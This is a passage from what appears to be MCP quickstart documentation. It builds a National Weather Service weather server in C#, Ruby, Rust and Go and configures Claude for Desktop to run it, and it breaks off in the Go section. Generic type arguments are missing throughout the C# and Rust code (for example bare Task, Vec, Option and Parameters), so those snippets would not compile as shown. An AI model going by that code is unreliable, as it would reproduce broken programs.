+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+ # Initialize a new C# project
+ dotnet new console
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+ # Initialize a new C# project
+ dotnet new console
+ ```
+
+
+ After running `dotnet new console`, you will be presented with a new C# project.
+ You can open the project in your favorite IDE, such as [Visual Studio](https://visualstudio.microsoft.com/) or [Rider](https://www.jetbrains.com/rider/).
+ Alternatively, you can create a C# application using the [Visual Studio project wizard](https://learn.microsoft.com/en-us/visualstudio/get-started/csharp/tutorial-console?view=vs-2022).
+ After creating the project, add NuGet package for the Model Context Protocol SDK and hosting:
+
+ ```bash theme={null}
+ # Add the Model Context Protocol SDK NuGet package
+ dotnet add package ModelContextProtocol --prerelease
+ # Add the .NET Hosting NuGet package
+ dotnet add package Microsoft.Extensions.Hosting
+ ```
+
+ Now let’s dive into building your server.
+
+ ## Building your server
+
+ Open the `Program.cs` file in your project and replace its contents with the following code:
+
+ ```csharp theme={null}
+ using Microsoft.Extensions.DependencyInjection;
+ using Microsoft.Extensions.Hosting;
+ using ModelContextProtocol;
+ using System.Net.Http.Headers;
+
+ var builder = Host.CreateEmptyApplicationBuilder(settings: null);
+
+ builder.Services.AddMcpServer()
+ .WithStdioServerTransport()
+ .WithToolsFromAssembly();
+
+ builder.Services.AddSingleton(_ =>
+ {
+ var client = new HttpClient() { BaseAddress = new Uri("https://api.weather.gov") };
+ client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("weather-tool", "1.0"));
+ return client;
+ });
+
+ var app = builder.Build();
+
+ await app.RunAsync();
+ ```
+
+
+ When creating the `ApplicationHostBuilder`, ensure you use `CreateEmptyApplicationBuilder` instead of `CreateDefaultBuilder`. This ensures that the server does not write any additional messages to the console. This is only necessary for servers using STDIO transport.
+
+
+ This code sets up a basic console application that uses the Model Context Protocol SDK to create an MCP server with standard I/O transport.
+
+ ### Weather API helper functions
+
+ Create an extension class for `HttpClient` which helps simplify JSON request handling:
+
+ ```csharp theme={null}
+ using System.Text.Json;
+
+ internal static class HttpClientExt
+ {
+ public static async Task ReadJsonDocumentAsync(this HttpClient client, string requestUri)
+ {
+ using var response = await client.GetAsync(requestUri);
+ response.EnsureSuccessStatusCode();
+ return await JsonDocument.ParseAsync(await response.Content.ReadAsStreamAsync());
+ }
+ }
+ ```
+
+ Next, define a class with the tool execution handlers for querying and converting responses from the National Weather Service API:
+
+ ```csharp theme={null}
+ using ModelContextProtocol.Server;
+ using System.ComponentModel;
+ using System.Globalization;
+ using System.Text.Json;
+
+ namespace QuickstartWeatherServer.Tools;
+
+ [McpServerToolType]
+ public static class WeatherTools
+ {
+ [McpServerTool, Description("Get weather alerts for a US state code.")]
+ public static async Task GetAlerts(
+ HttpClient client,
+ [Description("The US state code to get alerts for.")] string state)
+ {
+ using var jsonDocument = await client.ReadJsonDocumentAsync($"/alerts/active/area/{state}");
+ var jsonElement = jsonDocument.RootElement;
+ var alerts = jsonElement.GetProperty("features").EnumerateArray();
+
+ if (!alerts.Any())
+ {
+ return "No active alerts for this state.";
+ }
+
+ return string.Join("\n--\n", alerts.Select(alert =>
+ {
+ JsonElement properties = alert.GetProperty("properties");
+ return $"""
+ Event: {properties.GetProperty("event").GetString()}
+ Area: {properties.GetProperty("areaDesc").GetString()}
+ Severity: {properties.GetProperty("severity").GetString()}
+ Description: {properties.GetProperty("description").GetString()}
+ Instruction: {properties.GetProperty("instruction").GetString()}
+ """;
+ }));
+ }
+
+ [McpServerTool, Description("Get weather forecast for a location.")]
+ public static async Task GetForecast(
+ HttpClient client,
+ [Description("Latitude of the location.")] double latitude,
+ [Description("Longitude of the location.")] double longitude)
+ {
+ var pointUrl = string.Create(CultureInfo.InvariantCulture, $"/points/{latitude},{longitude}");
+ using var jsonDocument = await client.ReadJsonDocumentAsync(pointUrl);
+ var forecastUrl = jsonDocument.RootElement.GetProperty("properties").GetProperty("forecast").GetString()
+ ?? throw new Exception($"No forecast URL provided by {client.BaseAddress}points/{latitude},{longitude}");
+
+ using var forecastDocument = await client.ReadJsonDocumentAsync(forecastUrl);
+ var periods = forecastDocument.RootElement.GetProperty("properties").GetProperty("periods").EnumerateArray();
+
+ return string.Join("\n---\n", periods.Select(period => $"""
+ {period.GetProperty("name").GetString()}
+ Temperature: {period.GetProperty("temperature").GetInt32()}°F
+ Wind: {period.GetProperty("windSpeed").GetString()} {period.GetProperty("windDirection").GetString()}
+ Forecast: {period.GetProperty("detailedForecast").GetString()}
+ """));
+ }
+ }
+ ```
+
+ ### Running the server
+
+ Finally, run the server using the following command:
+
+ ```bash theme={null}
+ dotnet run
+ ```
+
+ This will start the server and listen for incoming requests on standard input/output.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/draft/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "dotnet",
+ "args": ["run", "--project", "/ABSOLUTE/PATH/TO/PROJECT", "--no-build"]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "dotnet",
+ "args": [
+ "run",
+ "--project",
+ "C:\\ABSOLUTE\\PATH\\TO\\PROJECT",
+ "--no-build"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `dotnet run /ABSOLUTE/PATH/TO/PROJECT`
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Ruby
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `puts` or `print`, as they write to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### Quick Examples
+
+ ```ruby theme={null}
+ # ❌ Bad (STDIO)
+ puts "Processing request"
+
+ # ✅ Good (STDIO)
+ require "logger"
+ logger = Logger.new($stderr)
+ logger.info("Processing request")
+ ```
+
+ ### System requirements
+
+ * Ruby 2.7 or higher installed.
+
+ ### Set up your environment
+
+ First, let's make sure you have Ruby installed. You can check by running:
+
+ ```bash theme={null}
+ ruby --version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Create a Gemfile
+ bundle init
+
+ # Add the MCP SDK dependency
+ bundle add mcp
+
+ # Create our server file
+ touch weather.rb
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Create a Gemfile
+ bundle init
+
+ # Add the MCP SDK dependency
+ bundle add mcp
+
+ # Create our server file
+ new-item weather.rb
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up constants
+
+ Open `weather.rb` and add these requires and constants at the top:
+
+ ```ruby theme={null}
+ require "json"
+ require "mcp"
+ require "net/http"
+ require "uri"
+
+ NWS_API_BASE = "https://api.weather.gov"
+ USER_AGENT = "weather-app/1.0"
+ ```
+
+ The `mcp` gem provides the Model Context Protocol SDK for Ruby, with classes for server implementation and stdio transport.
+
+ ### Helper methods
+
+ Next, let's add helper methods for querying and formatting data from the National Weather Service API:
+
+ ```ruby theme={null}
+ module HelperMethods
+ def make_nws_request(url)
+ uri = URI(url)
+ request = Net::HTTP::Get.new(uri)
+ request["User-Agent"] = USER_AGENT
+ request["Accept"] = "application/geo+json"
+
+ response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) do |http|
+ http.request(request)
+ end
+
+ raise "HTTP #{response.code}: #{response.message}" unless response.is_a?(Net::HTTPSuccess)
+
+ JSON.parse(response.body)
+ end
+
+ def format_alert(feature)
+ properties = feature["properties"]
+
+ <<~ALERT
+ Event: #{properties["event"] || "Unknown"}
+ Area: #{properties["areaDesc"] || "Unknown"}
+ Severity: #{properties["severity"] || "Unknown"}
+ Description: #{properties["description"] || "No description available"}
+ Instructions: #{properties["instruction"] || "No specific instructions provided"}
+ ALERT
+ end
+ end
+ ```
+
+ ### Implementing tool execution
+
+ Now let's define our tool classes. Each tool subclasses `MCP::Tool` and implements the tool logic:
+
+ ```ruby theme={null}
+ class GetAlerts < MCP::Tool
+ extend HelperMethods
+
+ tool_name "get_alerts"
+ description "Get weather alerts for a US state"
+ input_schema(
+ properties: {
+ state: {
+ type: "string",
+ description: "Two-letter US state code (e.g. CA, NY)"
+ }
+ },
+ required: ["state"]
+ )
+
+ def self.call(state:)
+ url = "#{NWS_API_BASE}/alerts/active/area/#{state.upcase}"
+ data = make_nws_request(url)
+
+ if data["features"].empty?
+ return MCP::Tool::Response.new([{
+ type: "text",
+ text: "No active alerts for this state."
+ }])
+ end
+
+ alerts = data["features"].map { |feature| format_alert(feature) }
+ MCP::Tool::Response.new([{
+ type: "text",
+ text: alerts.join("\n---\n")
+ }])
+ end
+ end
+
+ class GetForecast < MCP::Tool
+ extend HelperMethods
+
+ tool_name "get_forecast"
+ description "Get weather forecast for a location"
+ input_schema(
+ properties: {
+ latitude: {
+ type: "number",
+ description: "Latitude of the location"
+ },
+ longitude: {
+ type: "number",
+ description: "Longitude of the location"
+ }
+ },
+ required: ["latitude", "longitude"]
+ )
+
+ def self.call(latitude:, longitude:)
+ # First get the forecast grid endpoint.
+ points_url = "#{NWS_API_BASE}/points/#{latitude},#{longitude}"
+ points_data = make_nws_request(points_url)
+
+ # Get the forecast URL from the points response.
+ forecast_url = points_data["properties"]["forecast"]
+ forecast_data = make_nws_request(forecast_url)
+
+ # Format the periods into a readable forecast.
+ periods = forecast_data["properties"]["periods"]
+ forecasts = periods.first(5).map do |period|
+ <<~FORECAST
+ #{period["name"]}:
+ Temperature: #{period["temperature"]}°#{period["temperatureUnit"]}
+ Wind: #{period["windSpeed"]} #{period["windDirection"]}
+ Forecast: #{period["detailedForecast"]}
+ FORECAST
+ end
+
+ MCP::Tool::Response.new([{
+ type: "text",
+ text: forecasts.join("\n---\n")
+ }])
+ end
+ end
+ ```
+
+ ### Running the server
+
+ Finally, initialize and run the server:
+
+ ```ruby theme={null}
+ server = MCP::Server.new(
+ name: "weather",
+ version: "1.0.0",
+ tools: [GetAlerts, GetForecast]
+ )
+
+ transport = MCP::Server::Transports::StdioTransport.new(server)
+ transport.open
+ ```
+
+ Your server is complete! Run `bundle exec ruby weather.rb` to start the MCP server, which will listen for messages from MCP hosts.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/draft/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "bundle",
+ "args": ["exec", "ruby", "weather.rb"],
+ "cwd": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "bundle",
+ "args": ["exec", "ruby", "weather.rb"],
+ "cwd": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your project directory in the `cwd` field. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `bundle exec ruby weather.rb` in the specified directory
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Rust programming language
+ * Async/await in Rust
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `println!()` or `print!()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files, such as `tracing` or `log` in Rust.
+ * Configure your logging framework to avoid stdout output.
+
+ ### Quick Examples
+
+ ```rust theme={null}
+ // ❌ Bad (STDIO)
+ println!("Processing request");
+
+ // ✅ Good (STDIO)
+ eprintln!("Processing request"); // writes to stderr
+ ```
+
+ ### System requirements
+
+ * Rust 1.70 or higher installed.
+ * Cargo (comes with Rust installation).
+
+ ### Set up your environment
+
+ First, let's install Rust if you haven't already. You can install Rust from [rust-lang.org](https://www.rust-lang.org/tools/install):
+
+
+ ```bash macOS/Linux theme={null}
+ curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
+ ```
+
+ ```powershell Windows theme={null}
+ # Download and run rustup-init.exe from https://rustup.rs/
+ ```
+
+
+ Verify your Rust installation:
+
+ ```bash theme={null}
+ rustc --version
+ cargo --version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new Rust project
+ cargo new weather
+ cd weather
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new Rust project
+ cargo new weather
+ cd weather
+ ```
+
+
+ Update your `Cargo.toml` to add the required dependencies:
+
+ ```toml Cargo.toml theme={null}
+ [package]
+ name = "weather"
+ version = "0.1.0"
+ edition = "2024"
+
+ [dependencies]
+ rmcp = { version = "0.3", features = ["server", "macros", "transport-io"] }
+ tokio = { version = "1.46", features = ["full"] }
+ reqwest = { version = "0.12", features = ["json"] }
+ serde = { version = "1.0", features = ["derive"] }
+ serde_json = "1.0"
+ anyhow = "1.0"
+ tracing = "0.1"
+ tracing-subscriber = { version = "0.3", features = ["env-filter", "std", "fmt"] }
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and constants
+
+ Open `src/main.rs` and add these imports and constants at the top:
+
+ ```rust theme={null}
+ use anyhow::Result;
+ use rmcp::{
+ ServerHandler, ServiceExt,
+ handler::server::{router::tool::ToolRouter, tool::Parameters},
+ model::*,
+ schemars, tool, tool_handler, tool_router,
+ };
+ use serde::Deserialize;
+ use serde::de::DeserializeOwned;
+
+ const NWS_API_BASE: &str = "https://api.weather.gov";
+ const USER_AGENT: &str = "weather-app/1.0";
+ ```
+
+ The `rmcp` crate provides the Model Context Protocol SDK for Rust, with features for server implementation, procedural macros, and stdio transport.
+
+ ### Data structures
+
+ Next, let's define the data structures for deserializing responses from the National Weather Service API:
+
+ ```rust theme={null}
+ #[derive(Debug, Deserialize)]
+ struct AlertsResponse {
+ features: Vec,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct AlertFeature {
+ properties: AlertProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct AlertProperties {
+ event: Option,
+ #[serde(rename = "areaDesc")]
+ area_desc: Option,
+ severity: Option,
+ description: Option,
+ instruction: Option,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct PointsResponse {
+ properties: PointsProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct PointsProperties {
+ forecast: String,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct ForecastResponse {
+ properties: ForecastProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct ForecastProperties {
+ periods: Vec,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct ForecastPeriod {
+ name: String,
+ temperature: i32,
+ #[serde(rename = "temperatureUnit")]
+ temperature_unit: String,
+ #[serde(rename = "windSpeed")]
+ wind_speed: String,
+ #[serde(rename = "windDirection")]
+ wind_direction: String,
+ #[serde(rename = "detailedForecast")]
+ detailed_forecast: String,
+ }
+ ```
+
+ Now define the request types that MCP clients will send:
+
+ ```rust theme={null}
+ #[derive(serde::Deserialize, schemars::JsonSchema)]
+ pub struct MCPForecastRequest {
+ latitude: f32,
+ longitude: f32,
+ }
+
+ #[derive(serde::Deserialize, schemars::JsonSchema)]
+ pub struct MCPAlertRequest {
+ state: String,
+ }
+ ```
+
+ ### Helper functions
+
+ Add helper functions for making API requests and formatting responses:
+
+ ```rust theme={null}
+ async fn make_nws_request(url: &str) -> Result {
+ let client = reqwest::Client::new();
+ let rsp = client
+ .get(url)
+ .header(reqwest::header::USER_AGENT, USER_AGENT)
+ .header(reqwest::header::ACCEPT, "application/geo+json")
+ .send()
+ .await?
+ .error_for_status()?;
+ Ok(rsp.json::().await?)
+ }
+
+ fn format_alert(feature: &AlertFeature) -> String {
+ let props = &feature.properties;
+ format!(
+ "Event: {}\nArea: {}\nSeverity: {}\nDescription: {}\nInstructions: {}",
+ props.event.as_deref().unwrap_or("Unknown"),
+ props.area_desc.as_deref().unwrap_or("Unknown"),
+ props.severity.as_deref().unwrap_or("Unknown"),
+ props
+ .description
+ .as_deref()
+ .unwrap_or("No description available"),
+ props
+ .instruction
+ .as_deref()
+ .unwrap_or("No specific instructions provided")
+ )
+ }
+
+ fn format_period(period: &ForecastPeriod) -> String {
+ format!(
+ "{}:\nTemperature: {}°{}\nWind: {} {}\nForecast: {}",
+ period.name,
+ period.temperature,
+ period.temperature_unit,
+ period.wind_speed,
+ period.wind_direction,
+ period.detailed_forecast
+ )
+ }
+ ```
+
+ ### Implementing the Weather server and tools
+
+ Now let's implement the main Weather server struct with the tool handlers:
+
+ ```rust theme={null}
+ pub struct Weather {
+ tool_router: ToolRouter,
+ }
+
+ #[tool_router]
+ impl Weather {
+ fn new() -> Self {
+ Self {
+ tool_router: Self::tool_router(),
+ }
+ }
+
+ #[tool(description = "Get weather alerts for a US state.")]
+ async fn get_alerts(
+ &self,
+ Parameters(MCPAlertRequest { state }): Parameters,
+ ) -> String {
+ let url = format!(
+ "{}/alerts/active/area/{}",
+ NWS_API_BASE,
+ state.to_uppercase()
+ );
+
+ match make_nws_request::(&url).await {
+ Ok(data) => {
+ if data.features.is_empty() {
+ "No active alerts for this state.".to_string()
+ } else {
+ data.features
+ .iter()
+ .map(format_alert)
+ .collect::>()
+ .join("\n---\n")
+ }
+ }
+ Err(_) => "Unable to fetch alerts or no alerts found.".to_string(),
+ }
+ }
+
+ #[tool(description = "Get weather forecast for a location.")]
+ async fn get_forecast(
+ &self,
+ Parameters(MCPForecastRequest {
+ latitude,
+ longitude,
+ }): Parameters,
+ ) -> String {
+ let points_url = format!("{NWS_API_BASE}/points/{latitude},{longitude}");
+ let Ok(points_data) = make_nws_request::(&points_url).await else {
+ return "Unable to fetch forecast data for this location.".to_string();
+ };
+
+ let forecast_url = points_data.properties.forecast;
+
+ let Ok(forecast_data) = make_nws_request::(&forecast_url).await else {
+ return "Unable to fetch forecast data for this location.".to_string();
+ };
+
+ let periods = &forecast_data.properties.periods;
+ let forecast_summary: String = periods
+ .iter()
+ .take(5) // Next 5 periods only
+ .map(format_period)
+ .collect::>()
+ .join("\n---\n");
+ forecast_summary
+ }
+ }
+ ```
+
+ The `#[tool_router]` macro automatically generates the routing logic, and the `#[tool]` attribute marks methods as MCP tools.
+
+ ### Implementing the ServerHandler
+
+ Implement the `ServerHandler` trait to define server capabilities:
+
+ ```rust theme={null}
+ #[tool_handler]
+ impl ServerHandler for Weather {
+ fn get_info(&self) -> ServerInfo {
+ ServerInfo {
+ capabilities: ServerCapabilities::builder().enable_tools().build(),
+ ..Default::default()
+ }
+ }
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server with stdio transport:
+
+ ```rust theme={null}
+ #[tokio::main]
+ async fn main() -> Result<()> {
+ let transport = (tokio::io::stdin(), tokio::io::stdout());
+ let service = Weather::new().serve(transport).await?;
+ service.waiting().await?;
+ Ok(())
+ }
+ ```
+
+ Build your server with:
+
+ ```bash theme={null}
+ cargo build --release
+ ```
+
+ The compiled binary will be in `target/release/weather`.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/draft/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/target/release/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\target\\release\\weather.exe"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running the compiled binary at the specified path
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-go)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Go
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `fmt.Println()` or `fmt.Printf()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use `log.Println()` (which defaults to stderr) or a logging library that writes to stderr or files.
+ * Use `fmt.Fprintf(os.Stderr, ...)` to write to stderr explicitly.
+
+ ### Quick Examples
+
+ ```go theme={null}
+ // ❌ Bad (STDIO)
+ fmt.Println("Processing request")
+
+ // ✅ Good (STDIO)
+ log.Println("Processing request") // defaults to stderr
+
+ // ✅ Good (STDIO)
+ fmt.Fprintln(os.Stderr, "Processing request")
+ ```
+
+ ### System requirements
+
+ * Go 1.24 or higher installed.
+
+ ### Set up your environment
+
+ First, let's install Go if you haven't already. You can download and install Go from [go.dev](https://go.dev/dl/).
+
+ Verify your Go installation:
+
+ ```bash theme={null}
+ go version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize Go module
+ go mod init weather
+
+ # Install dependencies
+ go get github.com/modelcontextprotocol/go-sdk/mcp
+
+ # Create our server file
+ touch main.go
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize Go module
+ go mod init weather
+
+ # Install dependencies
+ go get github.com/modelcontextprotocol/go-sdk/mcp
+
+ # Create our server file
+ new-item main.go
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and constants
+
+ Add these to the top of your `main.go`:
+
+ ```go theme={null}
+ package main
+
+ import (
+ "cmp"
+ "context"
+ "encoding/json"
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "strings"
+
+ "github.com/modelcontextprotocol/go-sdk/mcp"
+ )
+
+ const (
+ NWSAPIBase = "https://api.weather.gov"
+ UserAgent = "weather-app/1.0"
+ )
+ ```
+
+ ### Data structures
+
+ Next, let's define the data structures used by our tools:
+
+ ```go theme={null}
+ type PointsResponse struct {
+ Properties struct {
+ Forecast string `json:"forecast"`
+ } `json:"properties"`
+ }
+
+ type ForecastResponse struct {
+ Properties struct {
+ Periods []ForecastPeriod `json:"periods"`
+ } `json:"properties"`
+ }
+
+ type ForecastPeriod struct {
+ Name string `json:"name"`
+ Temperature int `json:"temperature"`
+ TemperatureUnit string `json:"temperatureUnit"`
+ WindSpeed string `json:"windSpeed"`
+ WindDirection string `json:"windDirection"`
+ DetailedForecast string `json:"detailedForecast"`
+ }
+
+ type AlertsResponse struct {
+ Features []AlertFeature `json:"features"`
+ }
+
+ type AlertFeature struct {
+ Properties AlertProperties `json:"properties"`
+ }
+
+ type AlertProperties struct {
+ Event string `json:"event"`
+ AreaDesc string `json:"areaDesc"`
+ Severity string `json:"severity"`
+ Description string `json:"description"`
+ Instruction string `json:"instruction"`
+ }
+
+ type ForecastInput struct {
+ Latitude float64 `json:"latitude" jsonschema:"Latitude of the location"`
+ Longitude float64 `json:"longitude" jsonschema:"Longitude of the location"`
+ }
+
+ type AlertsInput struct {
+ State string `json:"state" jsonschema:"Two-letter US state code (e.g. CA, NY)"`
+ }
+ ```
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```go theme={null}
+ func makeNWSRequest[T any](ctx context.Context, url string) (*T, error) {
+ req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
+ if err != nil {
+ return nil, fmt.Errorf("failed to create request: %w", err)
+ }
+
+ req.Header.Set("User-Agent", UserAgent)
+ req.Header.Set("Accept", "application/geo+json")
+
+ client := http.DefaultClient
+ resp, err := client.Do(req)
+ if err != nil {
+ return nil, fmt.Errorf("failed to make request to %s: %w", url, err)
+ }
+ defer resp.Body.Close()
+
+ if resp.StatusCode != http.StatusOK {
+ body, _ := io.ReadAll(resp.Body)
+ return nil, fmt.Errorf("HTTP error %d: %s", resp.StatusCode, string(body))
+ }
+
+ var result T
+ if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
+ return nil, fmt.Errorf("failed to decode response: %w", err)
+ }
+
+ return &result, nil
+ }
+
+ func formatAlert(alert AlertFeature) string {
+ props := alert.Properties
+ event := cmp.Or(props.Event, "Unknown")
+ areaDesc := cmp.Or(props.AreaDesc, "Unknown")
+ severity := cmp.Or(props.Severity, "Unknown")
+ description := cmp.Or(props.Description, "No description available")
+ instruction := cmp.Or(props.Instruction, "No specific instructions provided")
+
+ return fmt.Sprintf(`
+ Event: %s
+ Area: %s
+ Severity: %s
+ Description: %s
+ Instructions: %s
+ `, event, areaDesc, severity, description, instruction)
+ }
+
+ func formatPeriod(period ForecastPeriod) string {
+ return fmt.Sprintf(`
+ %s:
+ Temperature: %d°%s
+ Wind: %s %s
+ Forecast: %s
+ `, period.Name, period.Temperature, period.TemperatureUnit,
+ period.WindSpeed, period.WindDirection, period.DetailedForecast)
+ }
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```go theme={null}
+ func getForecast(ctx context.Context, req *mcp.CallToolRequest, input ForecastInput) (
+ *mcp.CallToolResult, any, error,
+ ) {
+ // Get points data
+ pointsURL := fmt.Sprintf("%s/points/%f,%f", NWSAPIBase, input.Latitude, input.Longitude)
+ pointsData, err := makeNWSRequest[PointsResponse](ctx, pointsURL)
+ if err != nil {
